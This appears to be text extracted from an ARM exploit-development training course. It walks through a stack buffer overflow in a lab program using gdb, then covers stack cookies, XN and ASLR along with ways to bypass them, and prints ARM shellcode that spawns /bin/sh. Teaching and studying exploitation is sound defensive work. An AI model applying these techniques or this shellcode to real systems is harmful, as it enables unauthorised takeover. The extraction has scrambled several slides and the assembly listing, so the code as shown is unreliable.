• This would give us control of execution when the function returns.
micede1865@wii999_com
pin_buffer
pin_buffer
pin_buffer
original r7
destination (20 bytes) AAAA
AAAA
AAAA
AAAA
data
overflow
lr AAAA occurs
main
before after main
memcpy memcpy
Here is what the verify_pin stack frame looks like before and after an overflow. Before the memcpy we
see a pointer to our source data and the pin_buffer in the stack frame. These local variables are followed
by the saved r7 and saved lr that we will use to return to main (both of these registers got pushed onto the
stack in the prologue).
Paul Erwin
The memcpy takes the source data and copies it into pin_buffer. So, the destination is the same place
where the pin_buffer variable starts on the stack. If we provide more than 20 bytes of input, there is
nothing in the memcpy that prevents us from writing past the end of the pin_buffer array.
If we look at the number of bytes used in this example, we see that bytes 0-19 would fill up the pin_buffer
array and bytes 20-23 (think of this as groups of 4) would overwrite the original r7 address on the stack. This
means that bytes 24-27 would overwrite the saved lr. So, the 4 bytes at our input buffer+24 will be where
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
execution will get redirected to. In this example, since the saved lr was overwritten with “AAAA” or
0x41414141, this is the address where the function would try to return to.
live
09b91222e5d2d3d668cf8e52ec5d35ba
• After the overflow, the function
continues to execute
• Attacker has overwritten the
saved lr and can redirect *pin
micede1865@wii999_com
• Popping “AAAA” or 0x41414141
into PC will crash the program SP
AAAA
AAAA
AAAA
AAAA
data
popped into r7
AAAA popped into pc
Let’s walk through the epilogue. After the memcpy occurs, the verify_pin function continues execution.
Nothing is stopping it from proceeding to the end of the function. It is unaware that memory corruption has
occurred at this point.
Paul Erwin
In the very last instruction, two values are popped off the stack. The first value goes into r7, and the second
value goes into PC. This redirects execution to whatever address it pops into PC. As an attacker we can
redirect execution anywhere, but in this example, it will go to 0x41414141 which is not a valid address since
there are no executable instructions there. At this point the program would crash.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Prior to the memcpy
micede1865@wii999_com
AAAA AAAA AAAA
pin_buffer[20] Orig R7 LR
Let’s look at this from a different angle. If we keep the size of our input less than 20 bytes (let’s use 12 A’s as
an example), we should not overflow pin_buffer and the function should behave normally. The original
r7 and saved lr on the stack should be undisturbed, the epilogue will pop them into the appropriate registers
Paul Erwin
and the function will return as normal.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• After the memcpy
• User input fits fine into the 20-byte buffer
micede1865@wii999_com
AAAA AAAA AAAA
pin_buffer[20]
After the memcpy occurs, we see that the A’s get copied into the pin_buffer char array and there are
still 8 bytes remaining. This does not present a problem for the verify_pin function because nothing has
been overwritten.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Prior to the memcpy
• This time sending a larger buffer
micede1865@wii999_com
AAAA AAAA AAAA AAAA AAAA AAAA AAAA
pin_buffer[20] Orig R7 LR
Let’s do this again, but this time, we will provide 28 bytes of input to be copied unchecked into
pin_buffer.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• After the memcpy
• Saved LR gets overwritten
• Execution will be redirected to 0x41414141 (“AAAA”)
User input/pin: “AAAAAAAAAAAAAAAAAAAAAAAAAAAA” (28 bytes)
micede1865@wii999_com
AAAA AAAA AAAA AAAA AAAA AAAA AAAA
overwritten LR
When we copy in more bytes than pin_buffer can hold, we overwrite the saved LR. When the function
returns the program counter will try to redirect execution to address 0x41414141, causing a crash.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Breakpoint at memcpy
• Instruction at 0x000104b4 is
the branch to memcpy SP
*pin
micede1865@wii999_com
Breakpoint 1 at 0x104b4
We start by setting a breakpoint at 0x104b4. It doesn’t look like it, but the blx instruction (not shown) will
eventually call memcpy.
Paul Erwin
If we run the program and provide 28 A’s as user input, we should hit the breakpoint. When we do, we can
examine the arguments passed to memcpy by looking at the registers. Recall that if there are less than 4
arguments, they are all passed in registers r0-r3. Memcpy has 3 arguments, the destination (r0),
source (r1), and length (r2).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Breakpoint is hit
• Prior to branching to memcpy
• Examining the stack frame SP
*pin
using SP as a starting point sp+4
sp+8
(gdb) info reg $r0 $r1 $r2 $sp sp+12 pin_buffer
r0 0xbefff46c (dest) 3204445292 sp+16 pin_buffer pin_buffer
0xbefff738 (src)
micede1865@wii999_com
r1 3204446008
(len) sp+20 pin_buffer can hold
r2 0x1c 28
sp 0xbefff460 0xbefff46028 sp+24 pin_buffer 20 bytes
sp+28 pin_buffer
(gdb) x/s $r1
sp+32 original r7
0xbefff738: 'A' <repeats 28 times>
sp+36 lr
(gdb) x/10wx $sp sp+4 (*pin) sp+0xc (+12)
0xbefff460: 0x00000000 0xbefff738 0x00010a81 0x00010af9
pin_buffer[20]
0xbefff470: 0x00076d80 0x00000000 0x00010459 0x00010adf
main
0xbefff480: 0xbefff488 0x00010527
orig r7 saved lr
While we are stopped at the call to memcpy, let’s verify each of the arguments.
Paul Erwin
Let’s start with r0 which should point to the destination. Recall that the destination is the 20-byte
pin_buffer char array. R0 is showing the destination at address 0xbefff46c. If we take a look at the
stack data in gdb using the command x/10wx $sp, we see that the SP value plus 12 (0xc) is the
address of the destination. The output from the x command lines up with what we see in the info reg
command. The pin_buffer array is highlighted in the slide.
Next, let’s look at the source data. This is stored as a pointer in the r1 register. To view this, we can use the
x/s $r1 command. Gdb shows us that this is the letter “A” that repeats 28 times.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Finally, we look at the length stored in r2. The value in r2 is 0x1c hexadecimal or 28 decimal. This is the
length of our input string and should match our understanding of what is happening in the memcpy.
Next, we will take a look at what the stack looks like after the memcpy function returns.
The commands provided on the following page show how to verify the memcpy arguments for verify_pin
in gdb.
live
09b91222e5d2d3d668cf8e52ec5d35ba
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
micede1865@wii999_com
<http://www.gnu.org/software/gdb/documentation/>.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
sp 0xbefff460
09b91222e5d2d3d668cf8e52ec5d35ba
• Breakpoint after memcpy (0x10b48)
• Set a new breakpoint and continue SP
• Examine the overflow sp+4 *pin
sp+8
sp+12 AAAA
sp+16 AAAA pin_buffer
orig r7 saved lr
To view the stack after the memcpy, we will set a new breakpoint and continue. Our previous breakpoint had us
stopped at 0x104b4, just before the blx to memcpy. We will set a new breakpoint at 0x104b8 and continue. This
address will allow us to observe the program memory after the memcpy has occurred. Stopping at this point will
Paul Erwin
allow us to observe the stack overflow using gdb’s x command.
From the output of the x/10wx command, we see that the pin_buffer array is full, and we wrote past it and
overwrote the saved r7 and lr with A’s. This shows that we can redirect execution if we change the As at our
input buffer+24 to a valid address somewhere else in the program’s memory space.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x104b8 <verify_pin+56>:
0x104ba <verify_pin+58>:
0x104be <verify_pin+62>:
ldr
bl
mov
r0, [r7, #4]
0x23d00 <strlen>
r3, r0
0x104c0 <verify_pin+64>: add.w r2, r7, #32
(gdb) b * 0x104b8
Breakpoint 2 at 0x104b8
(gdb) c
Continuing.
In the stack overflow lab, we will redirect execution to the “Door Unlocked” message.
09b91222e5d2d3d668cf8e52ec5d35ba
• Trigger the overflow
• Deliver specially crafted input
• This usually starts with a crash
• Redirect execution
• Something that will improve our level of access
micede1865@wii999_com
• Maintain the stability of the system
• This depends on the goal and the target environment
Paul Erwin
• Usually, we can verify this by causing a crash
Redirect execution
• Redirect to something useful that will give us additional access
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• The stability requirement depends on the goal and the target environment
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
Before we begin into the lab, here is a look at the verify_pin program in Ghidra.
The output shows the main and verify_pin functions from Ghidra’s decompiler. This is not quite the
Paul Erwin
same as the verify_pin.c source file, but it is Ghidra’s interpretation of what the C code probably looks
like. As an attacker we don’t always have the source code for a target binary. Tools like Ghidra and IDA Pro’s
HexRays decompiler allow researchers to gain understanding as to what the function is doing.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Saves the state of a process if a crash occurs
• Writes runtime memory to a core file that can be
analyzed with gdb or objdump
nemo@mako:~$ ls /coredumps/
core-rop_target-4-1000-1000-5491-1622033845
micede1865@wii999_com
nemo@mako:~$ file /coredumps/core-rop_target-4-1000-1000-5491-1622033845
/coredumps/core-rop_target-4-1000-1000-5491-1622033845: ELF 32-bit LSB
core file, ARM, version 1 (SYSV), SVR4-style, from './rop_target
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', real
uid: 1000, effective uid: 1000, real gid: 1000, effective gid: 1000,
execfn: './rop_target', platform: 'v7l'
Core dumps save the state of a program if a crash occurs. Runtime memory is written to a core file that can be
analyzed in gdb using the –c parameter or with objdump using the –s parameter. If a system is not
running ASLR (discussed in the next section), core dumps can be used to determine where specific data is
located during runtime.
Paul Erwin
For more information on core dumps, see the TLV Lab. In this lab, core dumps can be used to determine the
address of shellcode at runtime. This is needed to develop an exploit that works from the command line
since the shellcode location is different, depending on whether or not the program is ran inside a debugger.
Buffer overflows are a classic form of memory corruption. Attackers can gain control of entire systems by
leveraging these types of vulnerabilities. In this lab we will write a buffer overflow exploit that allows us to
overwrite a saved return address (Link Register) and gain control of execution.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Observing memory corruption in a debugger
• Locating the stored link register on the stack
and watching it get overwritten
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
TLV stands for Type Length Value, and this is a common format used for parsing inbound data. This format
is used in everything from file structures to network protocols. We will be exploiting a function that reads in
data as TLV but does not check the length value supplied by the user.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Analyzing TLV input
• Debugging and observing memory corruption
• Formatting valid input which includes
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Exploit Mitigations
09b91222e5d2d3d668cf8e52ec5d35ba
Exploit mitigations are techniques that get implemented in order to prevent successful
exploitation of a system. Many of them wipe out entire categories of exploits without
even addressing the underlying software vulnerability. It is a fascinating game of cat and
micede1865@wii999_com
mouse where a devastating new security control will be introduced, but soon after a
researcher will come up with a brilliant workaround for the mitigation. As an exploit
developer it is good to be familiar with these mitigations, so that you know what you
are up against and can recognize problems as they arise.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Stack cookies
• XN (eXecute Never)
• ASLR (Address Space Layout Randomization)
• Fixing the code (i.e., bounds checking)
micede1865@wii999_com
Over the years, various techniques have been adopted to prevent exploitation. Stack cookies or stack canaries,
execute never (XN), and ASLR are security techniques that prevent exploits from being effective. While they
don’t address the underlying vulnerabilities, they make it difficult for an attacker to leverage a vulnerability to
Paul Erwin
the point where they get a foothold on a target system. The security game is constantly evolving and while
defenders are continually trying to come up with new ways to protect the systems, attackers are also figuring
out clever ways to work around the new blockers being put in place. However, for defenders, a major
advantage is that these mitigations can be used in conjunction with one another and provide a defense-in-depth
approach that makes it extremely difficult for attackers. While these security controls do not address the
vulnerabilities themselves, they are effective at preventing large categories of bugs from being exploited.
In contrast, bounds checking addresses the vulnerability itself. It is a broad term that refers to providing checks
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
that would prevent source data from being copied into a buffer that can’t hold it. By fixing the code,
developers prevent attackers from corrupting memory in the first place. The burden of security historically
falls on the shoulders of developers and is dependent on their awareness, skill, and diligence. Certain legacy
functions have been notorious for leading to memory corruption vulnerabilities and in response, alternative
functions were written to address these poor implementations.
live
09b91222e5d2d3d668cf8e52ec5d35ba
/**
* strcpy - Copy a %NUL terminated string
* @dest: Where to copy the string to
* @src: Where to copy the string from
/**
* strncpy - Copy a length-limited, C-string
* @dest: Where to copy the string to
* @src: Where to copy the string from
* @count: The maximum number of bytes to copy
*/ *
char *strcpy(char *dest, const char *src) * The result is not %NUL-terminated if the source exceeds
{ * @count bytes.
char *tmp = dest; *
* In the case where the length of @src is less than that of
while ((*dest++ = *src++) != '\0') * count, the remainder of @dest will be padded with %NUL.
/* nothing */; *
return tmp; */
}
micede1865@wii999_com
strcpy - Copy src into dest until you hit
a null, then break out of the while loop.
char *strncpy(char *dest, const char *src, size_t count)
{
char *tmp = dest;
while (count) {
if ((*tmp = *src) != 0)
src++;
tmp++;
count--;
}
strncpy - Copy src into dest until you return dest;
hit a null or until the max value (count) }
is reached.
One example of a function that could address buffer overflows if implemented properly is strncpy. It differs
from strcpy (no “n”) in that it uses a max value (count) to determine whether or not it should break out of
the loop even if it has not reached a null byte.
Paul Erwin
Each time through the loop, the count value is decremented (count--) and when it reaches zero, it will
break out of the while loop. If the count variable / max value is implemented properly, the destination buffer
can be protected from reading in strings that are too large to fit in the buffer.
It is important to note that these functions are not safe merely because they are used. It still depends on the
developer to implement them properly. In one of the router labs, we see a real-world vulnerability caused by a
strncpy that uses the length of the source string as the max value. Because it does not take into account
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
what the destination buffer can hold, and merely bases the max value on what it sees coming in, the check
becomes ineffective.
Reference:
https://github.com/torvalds/linux/blob/master/lib/string.c
https://en.cppreference.com/w/c/string/byte/strncpy
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Alternative functions
memcpy( void *restrict dest, const void *restrict src, size_t count );
memcpy_s( void *restrict dest, rsize_t destsz, const void *restrict src, rsize_t count );
micede1865@wii999_com
Some functions that are considered unsafe will issue a warning during compilation.
nemo@hammerhead:~/labs/verify_pin/src$ gcc -o verify_pin verify_pin.c
...
verify_pin.c:(.text+0x44): warning: the `gets' function is dangerous and should not be used.
Other functions have been designed specifically to address a lack of bounds checking. These alternative
functions offer parameters to specify the destination size.
It is important to note once again that these functions require proper implementation by the developer. One
approach for an attacker/auditor is to:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
- Identify if any of the problematic functions have been used in a target program
- Determine if the data source can be influenced by the attacker
- Check whether or not the developer implemented bounds checking sufficiently
Reference:
https://en.cppreference.com/w/c/string/byte/memcpy
https://en.cppreference.com/w/c/string/byte/memmove
https://en.cppreference.com/w/c/string/byte/strcpy
https://en.cppreference.com/w/c/string/byte/strncpy
https://en.cppreference.com/w/c/string/byte/strcat live
09b91222e5d2d3d668cf8e52ec5d35ba
• Placed on the stack just before a function’s return
address (saved lr)
• Before returning from the function, the cookie is checked
to see if it has been overwritten. If it has been
overwritten, the process will be terminated.
micede1865@wii999_com
• Modern compilers use cookies by default
Stack cookies are an effective way to prevent buffer overflows from allowing an attacker to gain control of
execution. At the beginning of the function, a cookie (usually a 4-byte value) is placed on the stack just before
any of the saved registers that get restored in the function’s epilogue. Before returning from the function, the
Paul Erwin
integrity of the cookie on the stack is checked to ensure that it has not been overwritten. If it has, the program
will know that some type of overflow has occurred and will usually raise an exception and crash the program.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
You entered:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
Aborted (core dumped)
By default, modern compilers automatically turn on stack cookies. To turn off stack cookies, you need to
provide the -fno-stack-protector parameter to gcc.
09b91222e5d2d3d668cf8e52ec5d35ba
• Overflow the local stack buffer and overwrite saved LR
• When function returns, we control execution since we
overwrote the saved LR
micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
(overflow)
stack buffer LR
As we discussed previously, a buffer overflow occurs when we can write past a destination buffer. A common
technique for gaining control of execution is writing past the destination buffer and overwriting the saved lr
in order to redirect to an address provided by the attacker.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• An attacker’s input data writes past the destination and
overwrites the stack cookie on its way to LR
• Before function returns, the stack cookie is checked to
verify it has not been changed
micede1865@wii999_com
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
(overflow)
stack
stack buffer LR
cookie
If an attacker overflows past the destination buffer, the input data will overwrite the stack cookie that has been
placed on the stack just before the saved LR. Even though the overflow has occurred, the function is still being
executed, and at the end of the function, there will be a check to see if the stack cookie still holds the value
Paul Erwin
that was placed there at the beginning of the function. If the cookie does not hold the same value, an exception
will be raised, and the program will crash.
Note: This is a simplified view. There will likely be other registers stored on the stack prior to the frame
pointer.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Designate a local stack
variable just before the
return address. Copy a value (stack_chk_guard)
into the stack variable
micede1865@wii999_com
Check the saved value
and ensure it holds
stack_chk_guard before
returning from this A call to __stack_chk_fail
function. If not, call will crash the process.
__stack_chk_fail
This is an example of a binary that has stack cookies enabled. This binary is not included in the lab files to
avoid confusion, but you can compile this on your own in the mako vm.
Paul Erwin
nemo@mako:~/labs/verify_pin/src$ gcc -o verify_pin_with_stack_cookie
verify_pin.c
In the verify_pin function above, we see a stack variable called local_c. This variable is stored on the
stack just before any of the registers (including the saved LR) that were saved to the stack during the function
call and prologue. Essentially, this variable sits between the local stack variables and the saved registers.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
local_c = __stack_chk_guard
We do not know this value just by looking at this function, but we do see a check just before the function
returns. It performs a xor (^) between the original value (__stack_chk_guard) that was copied into
local_c with the value that local_c currently holds.
if ((__stack_chk_guard ^ local_c) != 0)
live
If there are any differences, the function __stack_chk_fail is called, and the program will be
terminated.
09b91222e5d2d3d668cf8e52ec5d35ba
• Gain control of execution prior to the check
• Leak the cookie value prior to the overflow
• Is the cookie a static or predictable value?
• Skip over the cookie and write past it
micede1865@wii999_com
Stack cookies can create a significant challenge for attackers. One workaround for stack-based buffer
overflows would be to gain control of execution prior to the check. If there is a function pointer within the
stack frame that can be overwritten and called prior to the function returning, it may be possible to gain control
Paul Erwin
of execution while avoiding overwriting the stack cookie.
Another approach would be to try to leak the stack cookie prior to delivering the exploit. This would be
challenging and involves an information disclosure technique that would most likely require a separate exploit
in addition to the original vulnerability.
In custom implementations, a developer may use a deterministic stack cookie. These cookies may be a static
value that can be placed in the exploit buffer prior to delivery. This would be an example of a poor
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
implementation.
The google project zero team gives an example of another way to get around a stack cookie. In the article
below they show a software bug that allowed the attacker to write data to an offset past the stack location
where the stack cookie was stored, so that it skips over the cookie entirely.
Reference:
https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Determines whether instructions can be executed from a
memory region
• Affects if we can execute shellcode in a specific region
(i.e., stack memory)
micede1865@wii999_com
If the execute never (XN) bit is set to 1, that designated memory cannot be executed. This security protection
is used to mark large regions of memory (such as the stack) as non-executable. The stack is a good example.
As we have learned, the stack is used for storing local variables and passing data between functions. It often
Paul Erwin
holds user-provided data, which should not be abused as executable instructions such as shellcode. In order to
protect against malicious activity, these data sections should be treated as data and never as executable
instructions.
Reference:
https://developer.arm.com/documentation/ddi0360/f/memory-management-unit/memory-access-
control/execute-never-bits
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
ARM Architecture Reference Manual, ARMv8 (Section D4.4.3)
https://developer.arm.com/documentation/ddi0487/ak/
live
09b91222e5d2d3d668cf8e52ec5d35ba
• The stack is used for
• Function storage (stack frame)
• local variables
• Passing arguments between functions
• The stack is not executable by default
micede1865@wii999_com
nemo@mako:~$ cat /proc/1600/maps
00437000-00438000 r-xp 00000000 00:32
00447000-00448000 r--p 00000000 00:32
2230705
2230705
/home/nemo/labs/leak/leak
/home/nemo/labs/leak/leak
00448000-00449000 rw-p 00001000 00:32 2230705 /home/nemo/labs/leak/leak
00bbf000-00be0000 rw-p 00000000 00:00 0 [heap]
b6e3a000-b6f23000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
...
bece9000-bed0a000 rw-p 00000000 00:00 0 [stack]
The stack is used for storing and passing data between functions and should not be executable. In Linux, if you
have sufficient permissions for a process, there is an easy way to view information about its memory
mappings. This will show the permissions for each of the regions and where they are loaded in process
Paul Erwin
memory. Here we see that the stack is readable, writeable, but not executable (rw-p) for process id 1600. Use
the ps command to find the process that you want to enquire about and display the memory map by running
the command:
The stack is not executable by default when new programs are compiled with gcc. To enable an executable
stack for training purposes we use the “-z execstack” parameter.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Use ROP (return oriented programming)
• We will be discussing this further in Section 2
• Turn off the protection prior to executing shellcode
micede1865@wii999_com
The primary workaround for XN is rop. We speak more about rop in another section, but essentially it allows
you to execute small chunks of instructions in order to accomplish a bigger goal. Sometimes rop can be
used to turn off some of the memory protections that prevent instructions from being executed. For example, if
Paul Erwin
we delivered our shellcode to a non-executable region of memory, it may be possible to execute a rop chain
to mark that memory as executable and then jump to our shellcode.
In order to utilize rop, we need to know the addresses of the rop gadgets that we want to jump to, which
brings us to ASLR.
Reference:
https://ret2rop.blogspot.com/2018/08/make-stack-executable-again.html
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Randomizing the base address of memory regions at
runtime
• The base address changes, shifting the contents of the memory
region
• Offsets to specific data within the memory regions remain the
same, but their runtime addresses get shifted
micede1865@wii999_com
• Changes every time the process restarts
ASLR or Address Space Layout Randomization changes the base address of memory segments that get loaded
when a process is started. The base address will change, and all the addresses within that segment shift or slide
to different addresses than before. ASLR can be used on code segments as well as data segments like the stack
Paul Erwin
and heap. ASLR provides a strong line of defense against attackers trying to develop a working exploit. With
the shifting of the addresses at runtime, the attacker is left guessing as to where they need to jump to once they
gain control of execution.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Identify a non-ASLR memory region
• Brute forcing
• Memory leaks
nemo@mako:~$ cat /proc/1600/maps
micede1865@wii999_com
00437000-00438000 r-xp 00000000 00:32
00447000-00448000 r--p 00000000 00:32
00448000-00449000 rw-p 00001000 00:32
00bbf000-00be0000 rw-p 00000000 00:00
2230705
2230705
2230705
0
/home/nemo/labs/leak/leak
/home/nemo/labs/leak/leak
/home/nemo/labs/leak/leak
[heap]
b6e3a000-b6f23000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f23000-b6f32000 ---p 000e9000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f32000-b6f34000 r--p 000e8000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f34000-b6f36000 rw-p 000ea000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
base addresses
When a target process is using ASLR, there may be some memory segments where ASLR is not being used. If
there is a segment that is not using ASLR, it may be possible to leverage that segment to get a working exploit.
For example, you might be able to find rop gadgets or static function addresses that can be utilized. A
Paul Erwin
memory leak can also provide a workaround for ASLR. The memory leak has to provide enough information
about the memory mapping in the target process so that you can build your exploit. If you can launch multiple
exploits without losing access to the target service, it may be possible to bypass ASLR by brute force.
We looked at the ‘/proc/<process id>/maps’ file previously when looking at permissions. This file
also shows the base address for each of the loaded memory modules. If the addresses on the following page
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
stay the same every time the process is ran, it is not likely using ASLR.
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Memory leaks may require a separate exploit
• Use the offset of a leaked memory address to calculate
runtime addresses required by the exploit (i.e., rop
gadgets, functions, shellcode)
micede1865@wii999_com
• If the process crashes or restarts, the base addresses will
change
Memory leaks can potentially be used to reveal addresses of a running process that we can leverage in order to
build a functional exploit. The memory leak must provide us with enough information that we can determine
the addresses we need prior to launching the exploit. The addresses we need may include rop gadgets, function
Paul Erwin
addresses, or the address of our shellcode. By leaking enough information to calculate the addresses we need,
it is sometimes possible to bypass ASLR.
Memory leaks require some sort of information disclosure. This can sometimes be obtained through some type
of logic flaw but most likely will require a separate exploit. Unfortunately, this means finding a new
information disclosure vulnerability in the target to use in conjunction with the original vulnerability that we
are trying to leverage, in order to gain control of execution.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This topic is discussed further in the Memory Leak section of this course.
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Shellcode
09b91222e5d2d3d668cf8e52ec5d35ba
If you understand assembly, you’re off to a good start for learning shellcode. Shellcode
allows us to deliver arbitrary instructions to a target system. In this section, we will
walk through some sample shellcode and assemble it. We will also discuss some
micede1865@wii999_com
common problems with shellcode, like alignment and bad characters. Knowing how
shellcode works enables researchers to modify existing code, or even write their own
from scratch.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Written in assembly
• Introduced onto a target system by an attacker
• Execution is redirected to shellcode
• Not just getting a shell:
micede1865@wii999_com
• Elevate privileges, change configuration, add a user, set a
password, etc.
Shellcode is code that is delivered by the attacker and used to establish or gain further access to a target
system. It is usually written in assembly and should be small, simple, and specific to what you want to
accomplish as an attacker. The size can be a limiting factor depending on how it gets delivered. If you are
Paul Erwin
remotely logged into a system and are trying to do privilege escalation it may not be a problem, but if you are
sending your shellcode in a fixed-size network packet or only have a small data buffer, your shellcode may
need to be very concise. It is usually position-independent, since you may not know where your code will land
in memory. Despite the name, shellcode can be used for things other than just getting a shell on a target. It can
be used to add a user, change configuration, etc.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
simple_loop.c
#include <stdio.h>
simple_loop.s
...
main:
simple_loop.o
...
80 b5 84 b0 00 af 78 60
simple_loop
micede1865@wii999_com
printf("tot: %d\n", i);
...
movs
str
b
r3, #0
r3, [r7, #12]
.L2
return 0;
}
Step 1 Step 2 Step 3
Compile Assemble Link
Recall that gcc takes care of preprocessing (not shown), compiling, assembling and linking under the hood.
This gives us an ELF binary that can run on the system. With shellcode, we do not need a full ELF binary and
we are not using C source code.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba simple_loop.s
...
main:
simple_loop.o
...
80 b5 84 b0 00 af 78 60
push {r7, lr} 39 60 0a 23 bb 60 00 23
sub sp, sp, #16 fb 60 02 e0 fb 68 01 33
add r7, sp, #0 fb 60 fa 68 bb 68 9a 42
str r0, [r7, #4] f8 db 40 f2 00 00 c0 f2
str r1, [r7] 00 00 f9 68 ff f7 fe ff
movs r3, #10 00 23 18 46 10 37 bd 46
str r3, [r7, #8] 80 bd
micede1865@wii999_com ...
movs
str
b
r3, #0
r3, [r7, #12]
.L2
Assemble
Typically, we are writing or modifying code in assembly. The step from taking assembly instructions and
creating an object file can be done with GNU’s as command. There is a version of as in our cross-compile
toolchain (arm-linux-gnueabi-as), but in our lab we will run the as command from within our mako (ARMv7)
vm.
Paul Erwin
nemo@mako:~/labs/shellcode/asm$ as -o sc.o shellcode-696.s
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Assembly files typically use the .s extension.
live
09b91222e5d2d3d668cf8e52ec5d35ba
//Modified shellcode from: http://shell-storm.org/shellcode/files/shellcode-696.php
_start:
.arm // Indicates the following instructions are arm (default)
add r3, pc, #1 // Add 1 to pc and store it in r3
bx r3 // Jump to the address stored in r3
micede1865@wii999_com
sub
sub
strb
mov
r1,
r2,
r1,
r7,
r1, r1
r2, r2
[r0, #7]
#11
//
//
//
//
Set r1 to 0 without using null bytes
Set r2 to 0 without using null bytes
Store a null byte at the end of our string (replaces "A")
Move 11 into r7, service call id for execve
svc 1 // Supervisor call
_cmd:
.ascii "/bin/shA" If writing or modifying
shellcode, use lots of
comments!
The sample shellcode shown here was taken from shell-storm.org and has been slightly modified and
comments have been added. From our session on ARM assembly, we should be familiar with most of these
instructions. The adr instruction returns the address of a label calculated based on the current location. In
Paul Erwin
assembly we can use labels that end with a ‘:’. In the example, you may have noticed the adr instruction
references the _cmd label.
The .arm and .thumb keywords are recognized by the assembler and designate the instruction type.
When writing in assembly, it is a good idea to comment your code well. It may save you a ton of time if you
need to modify and reuse shellcode three years after you originally wrote it.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
http://shell-storm.org/shellcode/files/shellcode-696.php
